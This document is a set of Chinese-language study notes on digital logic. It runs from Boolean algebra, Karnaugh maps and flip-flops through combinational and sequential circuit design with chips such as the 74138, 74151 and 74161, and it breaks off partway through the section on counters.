一切运算“反过来”：“⋅\cdot⋅”和“+++”互换，“0”和“1”互换，原反变量互换，保持运算顺序不变（如原式中的乘法优先于加法，反演后从乘法得到的加法仍然优先于从加法得到的乘法）。

复合逻辑的反演

对于复合逻辑，有两种做法：

不管复合逻辑，只做下面的基本运算。例如，ABC‾\overline{ABC}ABC 的反演式是 A‾+B‾+C‾‾\overline{\overline{A}+\overline{B}+\overline{C}}A+B+C。如果需要化简，那么对上面的式子用互补律即可。例如，接上式，A‾+B‾+C‾‾=A‾‾B‾‾C‾‾=ABC\overline{\overline{A}+\overline{B}+\overline{C}} = \overline{\overline{A}}\overline{\overline{B}}\overline{\overline{C}}=ABCA+B+C=ABC=ABC
不管基本运算，直接将复合逻辑下的基本运算视为整体。例如，ABC‾=ABC‾‾=ABC\overline{ABC}=\overline{\overline{ABC}}=ABCABC=ABC=ABC，可以直接得到最简

F=A‾+B‾⋅(C+D‾E)→F‾=A⋅[B+C‾⋅(D+E‾)]F=\overline{A}+\overline{B}\cdot (C+\overline{D}E) \rightarrow \overline{F}=A\cdot [B+\overline{C}\cdot (D+\overline{E})]F=A+B⋅(C+DE)→F=A⋅[B+C⋅(D+E)]

可以求反函数。

对偶规则

与反演规则相比，对偶规则不需要原反变量的互换。得到的是函数的对偶式 F′F'F′

F=A‾+B‾⋅(C+D‾E)→F′=A‾⋅[B‾+C⋅(D‾+E)]F=\overline{A}+\overline{B}\cdot (C+\overline{D}E) \rightarrow F'=\overline{A}\cdot [\overline{B}+C\cdot (\overline{D}+E)]F=A+B⋅(C+DE)→F′=A⋅[B+C⋅(D+E)]

如果 F=F′F=F'F=F′，则 FFF 为自对偶函数。

如果 F=GF=GF=G，则 F′=G′F'=G'F′=G′。

复合逻辑#

与非逻辑

F=A⋅B⋅C⋅...‾F=\overline{A\cdot B\cdot C \cdot ...}F=A⋅B⋅C⋅...

与非逻辑可以检测全 1 序列

使用与非逻辑可以实现与、或、非三种基本运算

与：F=A⋅B‾⋅1‾=A⋅B‾‾+0=A⋅BF=\overline{\overline{A\cdot B}\cdot 1}=\overline{\overline{A\cdot B}}+0=A\cdot BF=A⋅B⋅1=A⋅B+0=A⋅B
或：F=A⋅1‾⋅B⋅1‾‾=A⋅1‾‾+B⋅1‾‾=A+BF=\overline{\overline{A\cdot 1}\cdot\overline{B\cdot 1}}=\overline{\overline{A\cdot 1}}+\overline{\overline{B\cdot 1}}=A+ BF=A⋅1⋅B⋅1=A⋅1+B⋅1=A+B
非：F=A⋅1‾=A‾+0=A‾F=\overline{A\cdot 1}=\overline{A} + 0=\overline{A}F=A⋅1=A+0=A（未使用的输入端全部挂高接 1）

或非逻辑

F=A+B+C+...‾F=\overline{A+B+C+...}F=A+B+C+...

或非逻辑可以检测全 0 序列

使用或非逻辑同样可以实现与、或、非三种基本运算

与：F=A+0‾+B+0‾‾=A+0‾‾⋅B+0‾‾=A+BF=\overline{\overline{A + 0} + \overline{B + 0}}=\overline{\overline{A + 0}}\cdot\overline{\overline{B+0}}=A + BF=A+0+B+0=A+0⋅B+0=A+B
或：F=A+B‾+0‾=A+B‾‾⋅1=A+BF=\overline{\overline{A + B}+ 0}=\overline{\overline{A+B}}\cdot 1=A+BF=A+B+0=A+B⋅1=A+B
非：F=A+0‾=A‾⋅1=A‾F=\overline{A + 0}=\overline{A}\cdot 1=\overline{A}F=A+0=A⋅1=A（未使用的输入端全部挂低接 0）

与或非逻辑

F=AB+CD+...‾F=\overline{AB+CD+...}F=AB+CD+...

使用与或非逻辑也可以实现与、或、非三种基本运算，但实际应用中成本较高，因此与或非逻辑更多用于实现与化简逻辑函数。

异或逻辑

F=A⊕B=A‾B+AB‾F=A⊕B=\overline{A}B+A\overline{B}F=A⊕B=AB+AB

相同为 0，不同为 1。异或可以检测二进制数据中 1 个数的奇偶性

快速计算方法：异或是“不进位加法”。例如 1⊕0⊕1=1+0+1=(1)0=0（舍去进位）1⊕0⊕1=1+0+1=(1)0=0\text{（舍去进位）}1⊕0⊕1=1+0+1=(1)0=0（舍去进位）

同或逻辑（异或非）

F=A⊙B=A‾B‾+ABF=A⊙B=\overline{A}\overline{B}+ABF=A⊙B=AB+AB

相同为 1，不同为 0。同或可以按位检测二进制是否相等

同或和异或既互为相反，又互为对偶。由于同或可以由异或取反得到，因此实践中通常用异或实现同或。

逻辑函数表达式#

基本形式#

与-或表达式（积之和）

例如：F=A‾B+AB‾C+CF=\overline{A}B+A\overline{B}C+CF=AB+ABC+C

或-与表达式（和之积）

例如：F=(A‾+B)(A+B‾+C)DF=(\overline{A}+B)(A+\overline{B}+C)DF=(A+B)(A+B+C)D

混合表达式是“两不像”，例如 F=(AB+C‾)(A+B‾C)+DF=(AB+\overline{C})(A+\overline{B}C)+DF=(AB+C)(A+BC)+D 既不属于与-或表达式，也不属于或-与表达式

逻辑函数的基本形式是不唯一的。

最小项和最大项#

最小项

包含所有 nnn 个变量的与项，共有 2n2^n2n 种组合。每个变量以原变量或反变量形式出现且仅出现一次，在 2n2^n2n 种变量组合中，每个最小项仅在一种组合下为 1，其余均为 0

相同变量构成的不同最小项的与和必定为 0；全部最小项的或和必定为 1。

最大项

包含所有 nnn 个变量的或项，也有 2n2^n2n 种组合。每个变量以原变量或反变量形式出现且仅出现一次，在 2n2^n2n 种变量组合中，每个最大项仅在一种组合下为 0，其余均为 1

相同变量构成的不同最大项的或和必定为 1。

相同变量构成的最大项 MiM_iMi 和最小项 mim_imi 互补，即 Mi=mi‾M_i=\overline{m_i}Mi=mi。

对于相同变量，若用最小项列表表示为 ∑m(Sm)\sum m(S_m)∑m(Sm)，那么它的最大项列表 ∏M(⋯ )\prod M(\cdots)∏M(⋯) 中的下标，恰好是全体下标中没出现在最小项列表里的那些，即 ∑i∈Smmi=∏j∉SmMj\sum_{i \in S_m} m_i = \prod_{j \notin S_m} M_j∑i∈Smmi=∏j∈/SmMj

最小项和最大项的序号按照二进制转换成十进制，注意最小项中原变量为 1，而最大项中反变量为 1。例如，最小项 ABC‾DAB\overline{C}DABCD 对应的二进制位是 110111011101，对应 m13m_{13}m13；最大项 A+B+C‾+DA+B+\overline{C}+DA+B+C+D 对应的二进制位是 001000100010，对应 M2M_{2}M2

如果两个最小/大项之间只有一项的原反性不同，则这两个最小/大项在逻辑上相邻。例如 ABABAB 和 A‾B\overline{A}BAB 逻辑相邻，而 ABABAB 和 A‾B‾\overline{A}\overline{B}AB 在逻辑上不相邻。

标准形式#

用 mim_imi 或 MiM_iMi 替代变量。

标准与-或（最小项）

F(A,B,C)=A‾⋅B‾C+A‾BC‾+AB‾⋅C‾+ABC=m1+m2+m4+m7=∑m(1,2,4,7)F(A,B,C)=\overline{A}\cdot\overline{B}C+\overline{A}B\overline{C}+A\overline{B}\cdot\overline{C}+ABC\\=m_1+m_2+m_4+m_7\\=\sum{m(1,2,4,7)}F(A,B,C)=A⋅BC+ABC+AB⋅C+ABC=m1+m2+m4+m7=∑m(1,2,4,7)

标准或-与（最大项）

F(A,B,C)=(A+B+C‾)(A‾+B+C‾)(A‾+B‾+C‾)=M1+M5+M7=∏M(1,5,7)F(A,B,C)=(A+B+\overline{C})(\overline{A}+B+\overline{C})(\overline{A}+\overline{B}+\overline{C})\\=M_1+M_5+M_7\\=\prod{M(1,5,7)}F(A,B,C)=(A+B+C)(A+B+C)(A+B+C)=M1+M5+M7=∏M(1,5,7)

转化为标准形式#

代数转换法

第一步：转换成与-或表达式/或-与表达式第二步：补项，将非最小/大项的项扩展成最小/大项形式。与-或表达式用 A+A‾=1A+\overline{A}=1A+A=1 补项；或-与表达式用 A⋅A‾=0A\cdot \overline{A}=0A⋅A=0 补项

真值表转换法

列真值表，输出为 1 对应最小项，输出为 0 对应最大项

表达式化简#

目标：项数最少，每一项中的变量也最少（和标准表达式不太一样，标准表达式每一项的变量都是全的）

代数化简法

化简与-或表达式常用定理：并项律、吸收律、消去律，参见基本定理

化简或-与表达式：

Ⅰ 求 FFF 的对偶式 F′F'F′（加变乘，乘变加） Ⅱ 化简 F′F'F′（此时 F′F'F′ 又变成与-或那一套了） Ⅲ 求化简后的 F′F'F′ 的对偶式，即为 FFF 的最简或-与表达式

卡诺图化简法

卡诺图是一种图形化的逻辑函数化简方法，通过格雷码排列（00 -> 01 -> 11 -> 10）的方式将逻辑相邻（上下、左右、首尾相接）的最小项放在物理相邻的位置。由于当变量大于 5 时难以构造，故一般最多考到 4 变量。

如何填写卡诺图？其实应当以格子对应的最小项序号为准。如果存在对应的最小项，则在对应格子填上 1。

设计过程中还会遇到无关项 d，这些无关项可 1 可 0。

然后画卡诺圈。画的时候需要遵循以下规则：

所有的 1 都需要被至少一个卡诺圈圈起
圈的个数尽量少，面积尽量大，但面积必须是 2k2^k2k（1、2、4、8、16）
卡诺圈可以“头尾相接”，即最后一列/行的 1 可以和第一列/行的 1 圈在一起

卡诺图画法示例，注意我们写的时候 AB 和 CD 要换过来

示例不够？

卡诺图 (K-Map) 化简工具提供了一个在线化简工具。你不仅可以得到化简后的表达式，还可以关联其对应的卡诺圈画法、真值表、最小/大项以及非国标的门电路图

从卡诺圈得到最小项：在一个卡诺圈内，如果一个变量的值始终为 1，则以原变量形式出现在最小项中；如果始终为 0，则以反变量形式出现；如果既有 1 也有 0，则不出现。

集成门电路#

电平#

逻辑值 0 和 1 在数字电路中体现就是电平。电平分为高电平和低电平。一般来讲，高电平对应“1”，低电平对应“0”。

正逻辑和负逻辑

正逻辑：高电平对应“1”，低电平对应“0”，现代的大部分接口使用正逻辑。负逻辑：高电平对应“0”，低电平对应“1”，仅用于早期或特殊接口。

高低电平之间的差值越大，逻辑值“1”和“0”的在物理层面的区别越明显，电路工作越可靠。

电路不会一直稳定。为了应对电压波动，实际的高低电平判定有范围，如理想的低电平是 0V，实际可能 0.5V 也可以判定为低电平。

常见逻辑门符号#

符号标准使用国标 GB/T 4728.12-1996，参见基本逻辑门电路图形符号的“国标图形符号”部分

与门标 &\And&
或门标 ⩾1\geqslant 1⩾1
非门标 111，门后加圆圈表示“非”
与非门标 &\And&，门后加圆圈
或非门标 ⩾1\geqslant 1⩾1，门后加圆圈
异或门标 =1=1=1

触发器#

在数字电路中，输入信号作用前的状态称为现态，记作 QQQ；输入信号作用后的状态，称为次态，记作 Qn+1Q^{n+1}Qn+1

触发器是一种具有记忆功能的电子器件，每次可以存储 1 位二进制信息，其输出除了和输入相关，有时还和现态相关。

Tip

nnn 个触发器存储 nnn 位二进制信息，可以表示 2n2^n2n 状态

触发器可分为 RS 触发器、D 触发器、JK 触发器、T 触发器等类型。当输入的时钟脉冲 CP = 1 时：

触发器	次态方程	约束方程	功能	备注
RS 触发器	Qn+1=S+R‾QQ^{n+1}=S + \overline{R}QQn+1=S+RQ / Qn+1=S‾+RQQ^{n+1}=\overline{S} + RQQn+1=S+RQ（与非门构成的基本 RS¹）	R⋅S=0R\cdot S=0R⋅S=0 / R+S=1R+ S=1R+S=1（与非门构成的基本 RS）	保留、置 0、置 1	Reset（置 0），Set（置 1），约束方程表示 R、S 需要满足的条件
D 触发器	Qn+1=DQ^{n+1}=DQn+1=D	-	置 0、置 1	状态变化仅与输入信号相关；锁存器
JK 触发器	Qn+1=JQ‾+K‾QQ^{n+1}=J\overline{Q}+\overline{K}QQn+1=JQ+KQ	-	保留、置 0、置 1、翻转
T 触发器	Qn+1=TQ‾+T‾Q=T⊕QQ^{n+1}=T\overline{Q}+\overline{T}Q=T⊕QQn+1=TQ+TQ=T⊕Q	-	保留、翻转	JK 触发器的特殊情况；计数触发器
T’ 触发器	Qn+1=Q‾Q^{n+1}=\overline{Q}Qn+1=Q	-	翻转	T 触发器的特殊情况，可以通过 JK 触发器或 D 触发器实现

当输入的时钟脉冲 CP = 0 时，所有触发器的状态保持不变，即 Qn+1=QQ^{n+1}=QQn+1=Q。这是电平触发。电平触发的时钟信号是使能信号，在它处于某个特定电平（高电平或低电平）的整个期间，输出都会实时跟随输入的变化。当使能信号无效时，输出才“锁存”住最后一个值并保持不变。所有简单结构触发器均采用这一触发方式。

简单结构触发器的抗干扰能力较弱，所以实际使用的触发器结构要复杂一些，分为主从触发和边沿触发。

主从触发器有两个触发器，分为主触发器和从触发器。假设主触发器高电平有效，从触发器低电平有效，当 CP = 1 时，仅有主触发器工作（主模式），实时响应输入信号；下降沿以及低电平时，主触发器被锁定，从触发器工作（主从模式），输出主触发器锁存的值。主从 RS 触发器和主从 JK 触发器属于这一类触发

边沿触发分为上升沿（正边沿）触发和下降沿（负边沿）触发。上升沿触发只有在时钟信号从低电平（逻辑 0）跳变到高电平（逻辑 1）的那个瞬间，电路才会采样输入并更新输出；下降沿触发只有在时钟信号从高电平（逻辑 1）跳变到低电平（逻辑 0）的那个瞬间，电路才会采样输入并更新输出。在时钟周期内的其他任何时间，输入信号都不会影响输出。维持-阻塞 D 触发器属于上升沿触发。

触发器需要注意两个问题：一个是简单结构触发器的“空翻”现象，另一个是主从 JK 触发器的“一次翻转”现象。

“空翻”现象指的是在同一个脉冲作用周期内触发器状态发生两次及以上的变化的现象，原因是在使能信号生效期间，输出都会实时跟随输入的变化。“一次翻转”指的是在同一个脉冲作用周期内，主触发器的状态只能根据输入信号的变化改变一次，翻转一次后主触发器锁定，状态不再受输入影响。

几个触发器描述图表#

状态表

现态和对应输入下次态的输出

| | 次态 Qn+1Q^{n+1}Qn+1 ||||

现态 QQQ	RS = 00	RS=01	RS=11	RS=10
0	d	0	0	1
1	d	0	1	1

状态图

反映状态转移关系的有向图

RS 触发器的状态图

激励表

状态转移时对输入的要求

QQQ	Qn+1Q^{n+1}Qn+1	R	S
0	0	d	1
0	1	1	0
1	0	0	1
1	1	1	d

时间图（工作波形图）

状态转移在一定时间内的连续变化。按照触发方式和功能表确定判决时刻线，在时刻线上判断输出变化，其它时刻保持不变

RS 触发器的时间图

有限状态机#

上面的状态图已经可以表示一个有限状态机了。有限状态机 (FSM) 是表示有限个状态以及在这些状态之间的转移和动作等行为的数学计算模型。

一个状态机一般由这几个部分组成：状态、转移、动作、转移条件。

将一个系统离散化，可以得到很多种状态
一个状态接收一个输入执行了某些动作到达了另外一个状态的过程就是一个转移
在某一状态下，只有达到了转移条件，才会按照状态机的转移流程转移到下一状态，并执行相应的动作。
在状态机的运转过程中会有很多种动作，例如进入动作在进入状态时进行

如果你还知道 C 语言的话，switch - case 语句就可以构成一个简单的状态机。

组合逻辑电路#

输出仅取决于该时刻的输入，而与过去的输入值无关，没有反馈回路。

分析组合电路的步骤#

确定电路的输入和输出

识别电路的输入变量（通常用 A、B、C 等表示）
确定电路的输出变量（通常用 Y、F 等表示）

从输入到输出逐级分析

从输入端开始，逐级向输出端分析
写出每个门电路的输出逻辑表达式
将各级表达式代入，得到最终的逻辑函数

化简逻辑函数

使用布尔代数定律化简表达式
或使用卡诺图进行化简

列出真值表

根据化简后的逻辑函数，列出所有输入组合对应的输出值

描述电路功能

根据真值表分析电路实现的逻辑功能（序列检测、加减法、码制转换）
确定电路的应用场合

设计组合电路的步骤#

建立给定问题的逻辑描述

设定输入、输出变量组成。一个二进制位对应一个独立变量。输出变量根据逻辑决定数量，两个没有直接逻辑关系的行为分属两个变量。
常用分析方法有真值表法（通用方法但是比较累）和分析方法（比较简洁但是难）

求出逻辑函数的最简表达式

参考表达式化简

选择逻辑门类型，并进行逻辑函数变换
画出逻辑电路图

设计路线不是唯一的。我们不要求最简洁的做法，只需要逻辑功能正确即可

设计过程中的几个问题#

无关项#

如果输入变量的某些取值组合不会出现或者对这些组合的输出不关心，则称这些输入项为无关项，用 X 或 d 表示

在卡诺图化简中，这些无关项的取值可 1 可 0，因此可以灵活选择以符合“卡诺圈面积尽量大”的规则

多输出函数#

能掌握掌握，不能掌握可以不用，这是锦上添花的做法

不提供反变量#

最直接的做法就是接一个非门，但设计结果往往不经济，因此不提供反变量也意味着使用最少的非门（或不使用）。具体怎么实现看题目有没有限制逻辑门使用。

没有一种系统而有效的方法以设计出不提供反变量的最简电路，因此灵活处理即可

中规模组合逻辑电路#

中规模组合逻辑电路主要有以下种类芯片：加法器、译码器、数据选择器

加法器#

加法器分为半加器和全加器。半加器不考虑来自低位的进位，而全加器需要考虑来自低位的进位。

半加器#

半加器

半加器的输入是 AiA_iAi、BiB_iBi，输出是本位和 SiS_iSi 与本位进位 CiC_iCi

Si=Ai⊕Bi, Ci=AiBiS_i=A_i \oplus B_i,\ C_i=A_iB_iSi=Ai⊕Bi, Ci=AiBi

由于单个半加器不接受低位进位，因此只能对 1 位二进制数执行相加运算，也可以作为级联构成的加法器的第一级（因为此时没低位）

全加器#

半加器的输入是 AiA_iAi、BiB_iBi 和低位进位 Ci−1C_{i-1}Ci−1，输出是本位和 SiS_iSi 与本位进位 CiC_iCi

由于单个全加器接受低位进位，因此可以级联构成多位二进制数的加法器。

有两种方法得到全加器：

通过完整的组合逻辑电路设计步骤，从真值表、卡诺图、表达式得到
通过两个半加器的叠加

全加器的构成方法

按进位方式分类，全加器可分为串行进位二进制加法器和超前进位二进制并行加法器

串行进位二进制加法器

由全加器级联构成，高位的进位输入依赖于低位的进位输出

超前进位二进制并行加法器

此内容较为困难，故仅介绍采用此方式的芯片

74283#

74283 属于超前进位二进制并行加法器，有 4 个被加数输入端 AiA_iAi、4 个加数输入端 BiB_iBi、1 个低位进位输入端、4 个本位和输出端 FiF_iFi、1 个本位进位输出端

74283 芯片符号

码制转换（8421 码和余 3 码）

将 8421 码转换成余 3 码，只需要固定加数输入为 0011（3 的补码）；将余 3 码转换成 8421 码，只需要固定加数为 1101（-3 的补码），或者固定加数为 1100（-3 的反码），缺少的“1”由低位输出补齐；若要实现二者的互换，则引入控制信号 MMM 接入低位进位端和固定加数端，当 M=0M=0M=0 时实现将 8421 码转换成余 3 码，当 M=1M=1M=1 时实现将余 3 码转换成 8421 码。
余 3 码的加法

由于余 3 码有修正机制（有进位时加 3，没进位时减 3），因此需要两片 74283，其中一片用于修正。
乘法

依照小学学过的竖式乘法，计算各位输出。（分析法）得到的输出应和此式相似：Z1=a1b1+0Z_1=a_1b_1+0Z1=a1b1+0，那么 a1b1a_1b_1a1b1 接入 A1A_1A1/B1B_1B1，000 接入 B1B_1B1/A1A_1A1

译码器#

译码即将二进制代码的原意“翻译”出来，还原成原特定含义的信息。输入是一组二进制代码，输出是一组对应的高低电平信号，只有一个输出端呈现有效信号。

变量译码器是将 nnn 位二进制输入变量译为 2n2^n2n 个不同输出信号的电路，每个输出对应一种输入代码，即一个 nnn 变量最小项。由于输出的是最小项，因此在化简逻辑函数表达式时需要将表达式写作最小项表示

课程所用的译码器输出均为低电平有效，因此化简后，需要再次变换让最小项带上“非”，例如 m1+m2+m4+m7m_1+m_2+m_4+m_7m1+m2+m4+m7 应该转换成 m1‾⋅m2‾⋅m4‾⋅m7‾‾\overline{\overline{m_1}\cdot\overline{m_2}\cdot\overline{m_4}\cdot\overline{m_7}}m1⋅m2⋅m4⋅m7

代表芯片是 74138（3-8 线译码器）、74139（双 2-4 线译码器）

74138#

74138 是 3-8 线译码器，具有三个输入、八个输出以及三个使能端。当使能端 S1=1S_1=1S1=1，S2‾+S3‾=0\overline{S_2}+\overline{S_3}=0S2+S3=0 时，译码器才正常工作

74138

74139#

2-4 线译码器具有两个输入、四个输出以及一个使能端。当使能端 E‾=0\overline{E}=0E=0 时，译码器才正常工作。

74139 是双 2-4 线译码器，就是两个 2-4 线译码器并排黏合组成的

74139

译码器的扩展#

在解决 nnn 输入问题时，除了对应使用 nnn 输入的译码器，还可以使用多个 n−1n-1n−1 输入的译码器。由于一个译码器只能覆盖目标输出的一部分，因此需要片选译码器以分段输出需要的最小项。

两个 2-4 译码器可以构成一个 3-8 译码器，两个 3-8 译码器可以构成一个 4-16 译码器。设计时可以利用译码器的使能端，将最高位分别接入两片译码器的不同使能端，使得同一个最高位内，仅有一片输出译码器正常工作

如果用 2-4 译码器构成 4-16 译码器呢？从输出来看，我们至少需要 4 个 2-4 译码器作为输出端（4×4=164×4=164×4=16），但 2-4 译码器满打满算也就只有 2 + 1 = 3 个输入端，连 4 位输入都无法满足。因此，我们还需要一个 2-4 译码器“压缩”一部分输入，总共五个 2-4 译码器。高二位和一个使能信号接压缩输入的那个译码器，其输出和低二位分别作为四个输出译码器的输入。

函数发生#

译码器输出最小项，而逻辑函数就可以用最小项之和表示。因此，译码器可以生成我们需要的逻辑函数

例如，通过真值表得知，全加器的输出函数可以这么表示：

Si(Ai,Bi,Ci−1)=∑m(1,2,4,7), Ci=(Ai,Bi,Ci−1)=∑m(3,5,6,7)S_i(A_i,B_i,C_{i-1})=\sum{m(1,2,4,7)},\ C_i=(A_i,B_i,C_{i-1})=\sum{m(3,5,6,7)}Si(Ai,Bi,Ci−1)=∑m(1,2,4,7), Ci=(Ai,Bi,Ci−1)=∑m(3,5,6,7)

转换得到译码器工作模式

数据选择器#

通过选择变量选择需要输出哪一路的数据，当选择变量符合对应最小项下标，则将选择变量与上数据输出。nnn 个选择变量可以控制 2n2^n2n 个数据输出。

nnn 选 1 数据选择器的输出函数表达通式：F=∑i=0n−1miDiF=\sum_{i=0}^{n-1}{m_iD_i}F=∑i=0n−1miDi，其中 mim_imi 表示选择变量的最小项

课程主要使用 74153（四选一）和 74151（八选一）

74153#

4 个数据输入端，2 个选择变量端，1 个输出端，1 个使能端。当使能端 E‾\overline{E}E 为 0 时，数据选择器正常工作

74153

实际应用时会将两个四选一 MUX 合并成一个 74153

74151#

8 个数据输入端，3 个选择变量端，1 个输出端，1 个使能端。当使能端 E‾\overline{E}E 为 0 时，数据选择器正常工作

74151

数据选择器的扩展#

用 2 个 4 选 1 构成一个 8 选 1，用 2 个 8 选 1 构成一个 16 选 1

函数发生#

由上面的通式可知，数据选择器可以输出选择变量的最小项。给不同的 DiD_iDi 赋予不同数据，就可以选取不同的完整最小项，从而实现函数发生。

nnn 个控制变量可以实现 n+1n+1n+1 变量的函数发生（有一个变量可以接到数据端）

时序逻辑电路#

按输入脉冲同步与否，将时序逻辑电路分为同步时序逻辑电路和异步时序逻辑电路。同步时序逻辑电路有一个统一的时钟脉冲控制每个触发器的状态，即每个触发器的 CP 端连接同一个脉冲；异步时序逻辑电路则没有，存在有的触发器的 CP 端连接到另外的脉冲上

根据输出信号的特点，将同步时序逻辑电路分为 Mealy 型和 Moore 型电路。Mealy 型电路的输出不仅和触发器现态 QQQ 有关，还和当前的输入 X 有关；Moore 型电路的输出仅和触发器现态 QQQ 有关

换句话说，就是看输入连接到哪些元件上了。如果输入存在直接连到最后输出的逻辑门上的分支，那么就是 Mealy 型电路。

时序电路的电路性质就是按这两点来描述的。

描述方法#

逻辑函数表达式

分为输出函数表达式、激励函数表达式（驱动方程）和次态函数表达式。

输出函数表达式就是电路输出与输入和现态之间的关系表达式；激励函数表达式是存储电路的输入（电路内部）与输入和现态之间的关系表达式，具体来讲就是触发器的输入与输入和现态之间的关系表达式，一般从高序号到低序号写；次态函数表达式是次态与激励函数和现态之间关系表达式。

状态表

反映输出 ZZZ、次态 yn+1y^{n+1}yn+1 和输入 xxx、现态 yyy 之间的关系

Mealy 型电路的状态表：

| | 次态/输出 ||

现态	输入 xxx
yyy	yn+1/Zy^{n+1}/Zyn+1/Z

输出跟着输入走

Moore 型电路的状态表：

| | 次态 ||

现态	输入 xxx	输出
yyy	yn+1y^{n+1}yn+1	ZZZ

输出和输入无关

状态表简化得到转换表

CP	现态	输出
0	Q2nQ1nQ0nQ_{2}^{n}Q_{1}^{n}Q_{0}^{n}Q2nQ1nQ0n	Y

状态图

反映状态转移规律，由状态表得出

Mealy 型电路的状态转换图：

模 4 可逆计数器 A

Moore 型电路的状态转换图：

模 4 可逆计数器 B

简化得到转换图，只表示状态转换顺序

模 8 计数器

时间图（工作波形图）

状态转移在一定时间内的连续变化。按照触发方式和功能表确定判决时刻线，在时刻线上判断输出变化，其它时刻保持不变

模 4 可逆计数器 B 的时间图

分析方法#

表格分析法#

确定电路类型，是 Mealy 型还是 Moore 型
写出输出函数表达式和激励函数表达式
列出次态真值表

输入	现态	激励函数（控制变量）	次态
xxx	yyy	DDD/JJJ/KKK	yn+1y^{n+1}yn+1

由次态真值表和输出函数表达式，作出状态图和状态表
画出时序图和时间图，文字说明电路逻辑功能

代数分析法#

确定电路类型
写出输出函数表达式和激励函数表达式
将激励函数表达式代入触发器的次态方程，得到电路的次态方程
由次态方程和输出函数表达式，作出状态图和状态表
画出时序图和时间图，文字说明电路逻辑功能

设计方法#

小规模同步时序逻辑电路主要设计计数器和序列检测器。触发器一般使用 JK 触发器

计数器#

计数器，顾名思义就是在时钟的节拍下进行计数。计数器在工作时，所经历的状态是周期性的、有限的。我们将一次循环所包含的状态总数称为模数 MMM，包含 nnn 个触发器的最大模数 M=2nM=2^nM=2n。

计数器也称为分频器。模 MMM 计数器的输出端的信号频率是 CP 信号的 1M\frac{1}{M}M1

计数器只需要时钟脉冲以使触发器工作，不需要额外输入，因此计数器电路属于 Moore 型电路

输入输出变量
建立状态图和状态表。状态图仅包括从状态 S0S_0S0 到 Sn−1S_{n-1}Sn−1 的状态，状态表则要讨论全部状态（包含无效状态 d）
求出各触发器输出端的卡诺图
写出电路的状态方程和输出方程
求出驱动方程
画电路图
检查电路能否自启动。具体来说，如果所有无效状态经过有限个时钟周期后可以转换为某个有效状态，进入正常循环，那么电路就可以“自启动”

自启动和挂起

有些题目还会讨论“挂起”现象。“挂起”说明有无效状态组成了一个死循环，导致电路可能无法进入正常工作循环。“挂起”现象是一种设计错误，如果出现“挂起”，则应认为此电路不可自启动。不存在“部分可自启动”这个说法。它是一个全局属性，要么成立（即对所有状态成立），要么不成立（即至少对一个状态不成立）

序列检测器#

序列检测器用于检测是否连续输入某个序列。

建立原始状态图、原始状态表。原始状态图和原始状态表均只讨论题目明确说明的有效状态
状态化简。合并等价状态。
状态编码。根据化简后的状态数量确定触发器数量，进而确定每个状态要用几位编码。状态编码根据格雷码排序，需要讨论无效状态
求驱动方程和输出方程
画电路图
检查自启动特性

状态化简#

判断两个状态等价有两个条件：输出相同且次态等价。次态等价指两个状态的次态相等（等价）、交错（即 SiS_iSi 的次态是 SjS_jSj，SjS_jSj 的次态是 SiS_iSi）、循环（多个状态相互依赖）或者不变

状态化简分为两个方法：目测法和隐含表法

目测法就是按上面的定义义眼盯真目视找出等价状态。很明显只有明显的状态对才能被找出。

隐含表法遵循以下步骤：

构成隐含表（横去尾、纵去头排列状态，等差阶梯状表格）
顺序比较：比较结果打“√”或“×”，如果需要进一步确认则填上等效需要的条件状态对
关联比较状态对：查看条件状态对是否等价，如不等价则打“×”
形成最大等效类：等价关系具有传递性，如等价对 AD、BD 等价，则最大等效类为 ABD
合并状态

隐含表

中规模时序逻辑电路#

中规模组合逻辑电路主要有以下种类芯片：计数器和寄存器

同步计数器#

本课程使用 74161 芯片。74161 的计数进制（模数）为十六进制，输出 4 位二进制码。置数方式采用同步方式，清零方式采用异步方式

异步方式只需要使能信号有效即可（即时响应），而同步方式需要使能信号有效 + 时钟边沿到来（定时响应）

74161 有 4 个置数输入端、2 个使能输入端 T 和 P、异步清零端 Cr‾\overline{C_r}Cr、同步预置端 LD‾\overline{L_D}LD、脉冲输入端 CP、溢出进位输出端 OCO_COC 和 4 个数据输出端 QDQCQBQAQ_DQ_CQ_BQ_AQDQCQBQA（高位到低位，严格按照此字母顺序）

74161

当 Cr‾=LD‾=1\overline{C_r}=\overline{L_D}=1Cr=LD=1 且 T⋅P=0T\cdot P=0T⋅P=0 时处于输出保持状态；在计数器正常工作状态（T⋅P=1T\cdot P=1T⋅P=1）下，当同步计数器加到 111111111111 时，OC=T⋅QD⋅QC⋅QB⋅QA=1O_C=T\cdot Q_D\cdot Q_C\cdot Q_B\cdot Q_A=1OC=T⋅QD⋅QC⋅QB⋅QA=1

构成小于十六进制的计数器#

两种方法：

反馈复位法

从输出端接收到特定信号时将信号返回给清零端 CrC_rCr。由于异步方式清零，因此设计 MMM 进制计数器时，反馈复位法需要 M+1M+1M+1 个状态以防止有效状态被清零，并且因为清零端从接受信号到清零中间有时间差，因此时间图会有毛刺

反馈预置法

从输出端接收到特定信号时将信号返回给预置端 LDL_DLD。由于同步方式置数，因此设计 MMM 进制计数器时，反馈预置法只需要 MMM 个状态且没有毛刺

如果预置数为 0，那么计数从 0 → M 循环；预置数为 (16 - M)，那么计数从预置数 → M 循环

构成大于十六进制的计数器#

首先确定需要几位输出。MMM 进制计数器所需状态数应在 2n−1<M⩽2n2^{n-1} \lt M \leqslant 2^{n}2n−1<M⩽2n 内，则需要 nnn 位输出，那么就需要 4(k−1)<n⩽4k4(k-1) \lt n \leqslant 4k4(k−1)<n⩽4k，即 k 个 74161 芯片。

芯片之间的两种连接方法：

同步连接法

两片芯片输入相同的 CP，片 2 的两个使能信号均引自片 1 的 OCO_COC 端

异步连接法

片 2 的 CP 来自片 1 的 OC‾\overline{O_C}OC（加非门），两片芯片的使能信号始终生效

异步计数器#

异步二进制计数器由 T′T'T′ 触发器构成（而 T′T'T′ 触发器又可由 JK 触发器或 D 触发器构成），触发器之间串接，低位触发器的输出作为高位触发器的时钟

一个考点是判断是加法还是减法计数器

判断方法是看 Qi−1Q_{i-1}Qi−1（低位输出）和 CPiCP_{i}CPi（高位脉冲端）之间的连接情况。如果连起偶数个（0 / 2 个）圆圈，则为减法计数器；如果连起奇数个（1 个）圆圈，则为加法计数器

代表芯片是 7490 芯片

7490 芯片电路符号

7490 芯片逻辑功能表

按指定码制构成十进制计数器#

8421 码

将 QAQ_AQA 与 CPBCP_BCPB 相连，计数脉冲从 CPACP_ACPA 输入。QDQCQBQAQ_DQ_CQ_BQ_AQDQCQBQA输出，构成 8421 码计数器

5421 码

